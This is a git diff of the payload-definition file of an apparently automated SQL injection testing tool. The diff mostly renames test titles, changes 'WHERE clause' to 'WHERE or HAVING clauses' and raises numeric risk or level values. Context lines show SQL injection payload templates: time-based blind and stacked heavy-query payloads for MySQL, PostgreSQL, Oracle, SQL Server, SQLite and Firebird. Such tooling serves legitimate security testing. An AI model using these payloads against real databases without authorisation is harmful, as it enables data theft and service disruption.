diff --git a/xml/payloads.xml b/xml/payloads.xml
index 901c94456..704a77abb 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -23,7 +23,7 @@ Tag:
Valid values:
0: Always
- 1: WHERE
+ 1: WHERE / HAVING
2: GROUP BY
3: ORDER BY
4: LIMIT
@@ -106,7 +106,7 @@ Tag:
Valid values:
0: Always
- 1: WHERE
+ 1: WHERE / HAVING
2: GROUP BY
3: ORDER BY
4: LIMIT
@@ -265,7 +265,7 @@ Formats:
-
+
1
1
@@ -436,12 +436,12 @@ Formats:
")))
AND ((("[RANDSTR]" LIKE "[RANDSTR]
-
+
-
+
- AND boolean-based blind - WHERE clause
+ AND boolean-based blind - WHERE or HAVING clauses
1
1
1
@@ -457,7 +457,7 @@ Formats:
- AND boolean-based blind - WHERE clause (MySQL comment)
+ AND boolean-based blind - WHERE or HAVING clauses (MySQL comment)
1
4
1
@@ -474,7 +474,7 @@ Formats:
- AND boolean-based blind - WHERE clause (Generic comment)
+ AND boolean-based blind - WHERE or HAVING clauses (Generic comment)
1
4
1
@@ -491,7 +491,7 @@ Formats:
- OR boolean-based blind - WHERE clause
+ OR boolean-based blind - WHERE or HAVING clauses
1
2
3
@@ -507,7 +507,7 @@ Formats:
- OR boolean-based blind - WHERE clause (MySQL comment)
+ OR boolean-based blind - WHERE or HAVING clauses (MySQL comment)
1
3
3
@@ -527,7 +527,7 @@ Formats:
- OR boolean-based blind - WHERE clause (Generic comment)
+ OR boolean-based blind - WHERE or HAVING clauses (Generic comment)
1
3
3
@@ -542,7 +542,7 @@ Formats:
OR NOT [RANDNUM]=[RANDNUM1]
-
+
@@ -771,9 +771,9 @@ Formats:
-
+
- MySQL >= 5.0 AND error-based - WHERE clause
+ MySQL >= 5.0 AND error-based - WHERE or HAVING clauses
2
1
0
@@ -793,7 +793,7 @@ Formats:
- PostgreSQL AND error-based - WHERE clause
+ PostgreSQL AND error-based - WHERE or HAVING clauses
2
1
0
@@ -812,7 +812,7 @@ Formats:
- Microsoft SQL Server/Sybase AND error-based - WHERE clause
+ Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clauses
2
1
0
@@ -831,7 +831,7 @@ Formats:
- Microsoft SQL Server/Sybase AND error-based - WHERE clause (IN)
+ Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clauses (IN)
2
2
0
@@ -850,7 +850,7 @@ Formats:
- Oracle AND error-based - WHERE clause (XMLType)
+ Oracle AND error-based - WHERE or HAVING clauses (XMLType)
2
1
0
@@ -869,7 +869,7 @@ Formats:
- Oracle AND error-based - WHERE clause (utl_inaddr.get_host_address)
+ Oracle AND error-based - WHERE or HAVING clauses (utl_inaddr.get_host_address)
2
2
0
@@ -889,7 +889,7 @@ Formats:
- Oracle AND error-based - WHERE clause (ctxsys.drithsx.sn)
+ Oracle AND error-based - WHERE or HAVING clauses (ctxsys.drithsx.sn)
2
3
0
@@ -908,7 +908,7 @@ Formats:
- Firebird AND error-based - WHERE clause
+ Firebird AND error-based - WHERE or HAVING clauses
2
2
0
@@ -927,7 +927,7 @@ Formats:
- MySQL >= 5.0 OR error-based - WHERE clause
+ MySQL >= 5.0 OR error-based - WHERE or HAVING clauses
2
2
2
@@ -947,7 +947,7 @@ Formats:
- MySQL OR error-based - WHERE clause
+ MySQL OR error-based - WHERE or HAVING clauses
2
2
0
@@ -967,7 +967,7 @@ Formats:
- PostgreSQL OR error-based - WHERE clause
+ PostgreSQL OR error-based - WHERE or HAVING clauses
2
2
2
@@ -986,7 +986,7 @@ Formats:
- Microsoft SQL Server/Sybase OR error-based - WHERE clause
+ Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clauses
2
2
2
@@ -1005,7 +1005,7 @@ Formats:
- Microsoft SQL Server/Sybase OR error-based - WHERE clause (IN)
+ Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clauses (IN)
2
3
2
@@ -1024,7 +1024,7 @@ Formats:
- Oracle OR error-based - WHERE clause (XMLType)
+ Oracle OR error-based - WHERE or HAVING clauses (XMLType)
2
2
2
@@ -1043,7 +1043,7 @@ Formats:
- Oracle OR error-based - WHERE clause (utl_inaddr.get_host_address)
+ Oracle OR error-based - WHERE or HAVING clauses (utl_inaddr.get_host_address)
2
3
2
@@ -1063,7 +1063,7 @@ Formats:
- Oracle OR error-based - WHERE clause (ctxsys.drithsx.sn)
+ Oracle OR error-based - WHERE or HAVING clauses (ctxsys.drithsx.sn)
2
4
2
@@ -1082,7 +1082,7 @@ Formats:
- Firebird OR error-based - WHERE clause
+ Firebird OR error-based - WHERE or HAVING clauses
2
3
2
@@ -1103,7 +1103,7 @@ Formats:
TODO: if possible, add payload for SQLite, Microsoft Access,
and SAP MaxDB - no known techniques at this time
-->
-
+
@@ -1315,7 +1315,7 @@ Formats:
MySQL < 5.0.12 stacked queries (heavy query)
4
2
- 0
+ 2
0
1
; IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM]);
@@ -1356,7 +1356,7 @@ Formats:
PostgreSQL stacked queries (heavy query)
4
2
- 0
+ 2
0
1
; SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END);
@@ -1438,7 +1438,7 @@ Formats:
Oracle stacked queries (heavy query)
4
5
- 0
+ 2
0
1
; SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL;
@@ -1498,7 +1498,7 @@ Formats:
SQLite > 2.0 stacked queries (heavy query)
4
3
- 0
+ 2
0
1
; SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END);
@@ -1519,7 +1519,7 @@ Formats:
Firebird stacked queries (heavy query)
4
3
- 0
+ 2
0
1
; SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3),[RANDNUM]) FROM RDB$DATABASE;
@@ -1585,7 +1585,7 @@ Formats:
MySQL < 5.0.12 AND time-based blind (heavy query)
5
2
- 1
+ 2
1,2,3
1
AND [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])
@@ -1604,7 +1604,7 @@ Formats:
MySQL < 5.0.12 AND time-based blind (heavy query - comment)
5
5
- 1
+ 2
1,2,3
1
AND [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])
@@ -1665,7 +1665,7 @@ Formats:
PostgreSQL AND time-based blind (heavy query)
5
3
- 1
+ 2
1,2,3
1
AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END)
@@ -1684,7 +1684,7 @@ Formats:
PostgreSQL AND time-based blind (heavy query - comment)
5
5
- 1
+ 2
1,2,3
1
AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1, [SLEEPTIME]000000)) ELSE [RANDNUM] END)
@@ -1701,7 +1701,7 @@ Formats:
- Microsoft SQL Server/Sybase AND time-based blind
+ Microsoft SQL Server/Sybase time-based blind
5
1
0
@@ -1724,7 +1724,7 @@ Formats:
Microsoft SQL Server/Sybase AND time-based blind (heavy query)
5
2
- 1
+ 2
1,2,3
1
AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7) ELSE [RANDNUM] END)
@@ -1743,7 +1743,7 @@ Formats:
Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)
5
5
- 1
+ 2
1,2,3
1
AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7) ELSE [RANDNUM] END)
@@ -1802,7 +1802,7 @@ Formats:
Oracle AND time-based blind (heavy query)
5
2
- 1
+ 2
1,2,3
1
AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END)
@@ -1821,7 +1821,7 @@ Formats:
Oracle AND time-based blind (heavy query - comment)
5
5
- 1
+ 2
1,2,3
1
AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END)
@@ -1841,7 +1841,7 @@ Formats:
SQLite > 2.0 AND time-based blind (heavy query)
5
3
- 1
+ 2
1
1
AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)
@@ -1861,7 +1861,7 @@ Formats:
SQLite > 2.0 AND time-based blind (heavy query - comment)
5
5
- 1
+ 2
1
1
AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END)
@@ -1882,7 +1882,7 @@ Formats:
Firebird AND time-based blind (heavy query)
5
4
- 1
+ 2
1
1
AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3),[RANDNUM])
@@ -1902,7 +1902,7 @@ Formats:
Firebird AND time-based blind (heavy query - comment)
5
5
- 1
+ 2
1
1
AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1, RDB$TYPES AS T2, RDB$COLLATIONS AS T3),[RANDNUM])
@@ -2103,7 +2103,7 @@ Formats:
- MySQL NULL UNION query - [COLSTART] to [COLSTOP] columns
+ MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns
3
1
1
@@ -2125,7 +2125,7 @@ Formats:
- MySQL NULL UNION query - 1 to 3 columns
+ MySQL UNION query ([CHAR]) - 1 to 3 columns
3
1
1
@@ -2147,7 +2147,7 @@ Formats:
- MySQL NULL UNION query - 4 to 7 columns
+ MySQL UNION query ([CHAR]) - 4 to 7 columns
3
2
1
@@ -2169,7 +2169,7 @@ Formats:
- MySQL NULL UNION query - 8 to 12 columns
+ MySQL UNION query ([CHAR]) - 8 to 12 columns
3
3
1
@@ -2191,7 +2191,7 @@ Formats:
- MySQL NULL UNION query - 13 to 18 columns
+ MySQL UNION query ([CHAR]) - 13 to 18 columns
3
4
1
@@ -2213,7 +2213,7 @@ Formats:
- MySQL NULL UNION query - 19 to 25 columns
+ MySQL UNION query ([CHAR]) - 19 to 25 columns
3
5
1
@@ -2235,7 +2235,7 @@ Formats:
- Generic NULL UNION query - [COLSTART] to [COLSTOP] columns
+ Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns
3
1
1
@@ -2254,7 +2254,7 @@ Formats:
- Generic NULL UNION query - 1 to 3 columns
+ Generic UNION query ([CHAR]) - 1 to 3 columns
3
1
1
@@ -2273,7 +2273,7 @@ Formats:
- Generic NULL UNION query - 4 to 7 columns
+ Generic UNION query ([CHAR]) - 4 to 7 columns
3
2
1
@@ -2292,7 +2292,7 @@ Formats:
- Generic NULL UNION query - 8 to 12 columns
+ Generic UNION query ([CHAR]) - 8 to 12 columns
3
3
1
@@ -2311,7 +2311,7 @@ Formats:
- Generic NULL UNION query - 13 to 18 columns
+ Generic UNION query ([CHAR]) - 13 to 18 columns
3
4
1
@@ -2330,7 +2330,7 @@ Formats:
- Generic NULL UNION query - 19 to 25 columns
+ Generic UNION query ([CHAR]) - 19 to 25 columns
3
5
1